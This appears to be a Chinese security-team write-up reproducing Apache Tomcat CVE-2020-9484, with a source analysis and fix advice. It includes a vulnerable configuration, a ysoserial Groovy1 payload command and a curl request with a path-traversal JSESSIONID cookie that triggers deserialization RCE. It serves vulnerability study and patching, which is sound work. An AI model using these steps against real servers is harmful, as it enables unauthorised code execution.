Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。
0x02 漏洞概述 这次是由于错误配置和 org.apache.catalina.session.FileStore 的 LFI 和反序列化漏洞引起的 RCE。当配置了 org.apache.catalina.session.PersistentManager 并且使用 org.apache.catalina.session.FileStore 来储存 session 时, 用户可以通过 org.apache.catalina.session.FileStore 的一个 LFI 漏洞来读取服务器上任意以 .session结尾的文件。然后通过反序列化来运行 .session 文件。
默认情况是使用 org.apache.catalina.session.StandardManager, 将 session储存到内存,而 PersistentManager 会将不常用的 session swap out, 从而减少内存占用。
0x03 影响版本Apache Tomcat:
10.0.0-M1 to 10.0.0-M4
9.0.0.M1 to 9.0.34
8.5.0 to 8.5.54
7.0.0 to 7.0.103
0x04 环境搭建本次使用linux进行测试, 搭建一个Tomcat服务
- 下载 Tomcat 10.0.0-M4https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/10.0.0-M4/
- 将文件解压之后放入
/usr/local/tomcat
- 修改
/usr/local/tomcat/conf/context.xlm
, 添加 Manager
<Context> <WatchedResource>WEB-INF/web.xmlWatchedResource> <WatchedResource>WEB-INF/tomcat-web.xmlWatchedResource> <WatchedResource>${catalina.base}/conf/web.xmlWatchedResource> <Manager className="org.apache.catalina.session.PersistentManager"> <Store className="org.apache.catalina.session.FileStore" directory="/tomcat/sessions/"/> Manager>Context>
这个 directory 设置成什么都没有关系, 因为不过滤
../
下载 groovy-2.3.9.jar
https://mvnrepository.com/artifact/org.codehaus.groovy/groovy/2.3.9
将 groovy-2.3.9.jar 放入
/usr/local/tomcat/lib
执行语句运行 Tomcat
/usr/local/tomcat/bin/catalina.sh start
目标是在服务器上执行命令 touch /tmp/2333
,假设 .session文件已经被上传到服务器的已知位置。
java -jar ysoserial-master-30099844c6-1.jar Groovy1 "touch /tmp/2333" > /tmp/test.session
3、执行
curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test'
虽然有报错但是反序列化已经执行了
4、执行 ls /tmp 查看结果
0x06 漏洞分析 此处使用 Tomcat 10.0.0-M4 来做分析 这里主要是 FileStore 的 LFI 漏洞可以反序列化任意路径上的 .session 文件, 如果同时存在 文件上传漏洞的话就是 RCE 了. 首先看 FileStore 源码, 当用户请求里带有 JSESSIONID 时 会运行存在问题的 load 方法
public Session load(String id) throws ClassNotFoundException, IOException { // Open an input stream to the specified pathname, if any File file = file(id); if (file == null || !file.exists()) { return null; } Context context = getManager().getContext(); Log contextLog = context.getLogger(); if (contextLog.isDebugEnabled()) { contextLog.debug(sm.getString(getStoreName()+".loading", id, file.getAbsolutePath())); } ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, null); try (FileInputStream fis = new FileInputStream(file.getAbsolutePath()); ObjectInputStream ois = getObjectInputStream(fis)) { StandardSession session = (StandardSession) manager.createEmptySession(); session.readObjectData(ois); session.setManager(manager); return session; } catch (FileNotFoundException e) { if (contextLog.isDebugEnabled()) { contextLog.debug("No persisted data file found"); } return null; } finally { context.unbind(Globals.IS_SECURITY_ENABLED, oldThreadContextCL); } }
load 会先将 session id 转换成 file object 查看文件是否存在, 如果存在的话会读取文件. file object 会为输入的 id 添加
.session 后缀 然而并没有验证文件的目录
private File file(String id) throws IOException { if (this.directory == null) { return null; } String filename = id + FILE_EXT; File file = new File(directory(), filename); return file; }
当文件存在时, 系统会运行 org.apache.catalina.session.getObjectInputStream 方法
protected ObjectInputStream getObjectInputStream(InputStream is) throws IOException { BufferedInputStream bis = new BufferedInputStream(is); CustomObjectInputStream ois; ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); if (manager instanceof ManagerBase) { ManagerBase managerBase = (ManagerBase) manager; ois = new CustomObjectInputStream(bis, classLoader, manager.getContext().getLogger(), managerBase.getSessionAttributeValueClassNamePattern(), managerBase.getWarnOnSessionAttributeFilterFailure()); } else { ois = new CustomObjectInputStream(bis, classLoader); } return ois; }
getObjectInputStream 方法运行 org.apache.catalina.util.CustomObjectInputStream 获取 gadget 类, 然后就反序列化session文件了。
0x07 修复方式
对比 Tomcat 10.0.0-M4 和 Tomcat 10.0.0-M5 的 FileStore 源码可以发现做了目录验证。
修复方式就是升级,或者配置WAF,过滤掉
../
之类的字符串,或者不使用 FileStore。
参考链接:
https://www.redtimmy.com/java-hacking/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/
https://y4er.com/post/cve-2020-9484-tomcat-session-rce/#分析
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9484
https://github.com/masahiro331/CVE-2020-9484
阅读原文看更多复现文章Timeline Sec 团队安全路上,与你并肩前行